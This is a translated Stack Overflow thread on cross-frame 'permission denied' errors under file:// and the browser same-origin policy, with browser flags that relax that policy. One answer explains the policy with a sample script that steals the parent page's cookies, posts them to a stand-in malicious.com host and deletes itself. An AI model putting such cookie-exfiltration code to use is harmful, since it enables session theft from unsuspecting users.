JavaScript 权限被拒绝访问属性。

4
我在访问来自不同 iframe 的属性时遇到了问题。我一直收到“拒绝访问属性”的错误提示。我看到有人多次询问是否使用 file:///,但除了我之外没有人这样做,所以这个问题从未得到解决。
我不是在网页上操作。所有我的框架的 src 都在我硬盘上的同一个文件中。我试图获取其他框架中创建的对象的某些属性。
function fill_with_pairs()
{
    for (var x = 0 ; x < setLength ; x++)
    {
        var tempSet = sets[x];
        var tempNums = tempSet.wb_numbers;
        if (top.num_frame.active_list.active_nums[x].checked)
        {
            for (var y = 0 ; y < 4 ; y++)
            {
                var thesePairs = tempNums[y];
                var pairBase = numbersX[thesePairs];
                for (var z = y+1 ; z < 5 ; z++)
                {
                    var pairKey = tempNums[z];
                    pairBase[z]++;
                }
            }
        }
    }
}

1
最好展示你实际尝试过的代码,而不是让人们猜测可能出了什么问题..! - Sudhir Bastakoti
1
iframe 没有指向与您的网站相同的域名、协议和端口的位置,因此您无法与其交互。这是浏览器的限制。 - Blender
我在使用Chrome浏览器访问file:///页面时遇到了类似的问题(但不包括iframe)。对我来说,解决方案是使用--allow-file-access-from-files参数启动Chrome浏览器。但是,具体情况可能因人而异。 - HBP
@HBP,请原谅我的无知,但--allow-file-access-from-files应该放在哪里?你是指放在<html>标签上方吗? - user2407689
在启动浏览器时,命令行中不要输入“no”。具体方法取决于您的操作系统。这里提供一个参考链接:http://downloadsquad.switched.com/2010/01/22/how-to-add-command-line-switches-to-google-chrome-or-chromium - HBP
谢谢你的帮助。我现在已经让它工作了。火狐浏览器的方法实际上与此完全不同,但是查找更多关于Chrome方法的信息让我找到了答案。以防其他人遇到相同的火狐浏览器问题,只需在地址栏中键入“about:config”,然后查找此行“security.fileuri.strict_origin_policy”并将其值更改为false即可。祝编码愉快! - user2407689
2个回答

11

下面的代码

<iframe src="http://example.com" onload="test(this)"></iframe>
<script>
function test(frame)
{
    var cDoc = frame.contentDocument;
}
</script>

抛出异常

Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match.

协议必须匹配(例如:主窗口和iframe的协议必须是file:http:之类的)。

域名必须匹配(例如:主窗口和iframe的域名必须是example.com

端口必须匹配(例如:主窗口和iframe的端口必须是808080


这是为了保护用户免受恶意网站上执行代码的影响,如果没有这些限制,恶意网站可以轻易地窃取不知情用户的数据。

恶意JavaScript代码示例:

<script id="loadScript">
window.onload = function()
{
    //grab parent to iframe
    var parentWindow = window.parent.window;
    //grab cookies from parent window
    var cookies = parentWindow.document.cookie;
    //send cookies off to malicious site
    var form = document.createElement("form");
    var inp = document.createElement("input");
    form.action="http://malicious.com/maliciousAd.php";
    form.method="post";
    inp.value=cookies;
    inp.name="cookies";
    form.appendChild(inp);
    form.submit();
    //remove traces of malicious code
    document.body.removeChild(document.getElementById("loadScript"))
}
</script>

3
任何试图访问不同域(例如在iframe元素中)的文档属性的JavaScript都违反了安全概念,称为同源策略
在计算机中,同源策略是一种重要的安全概念,适用于许多浏览器端编程语言,例如JavaScript。该策略允许来自相同站点 - 即方案、主机名和端口号1的页面上运行的脚本无需特定限制即可访问彼此的方法和属性,但防止跨站点访问大多数方法和属性。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接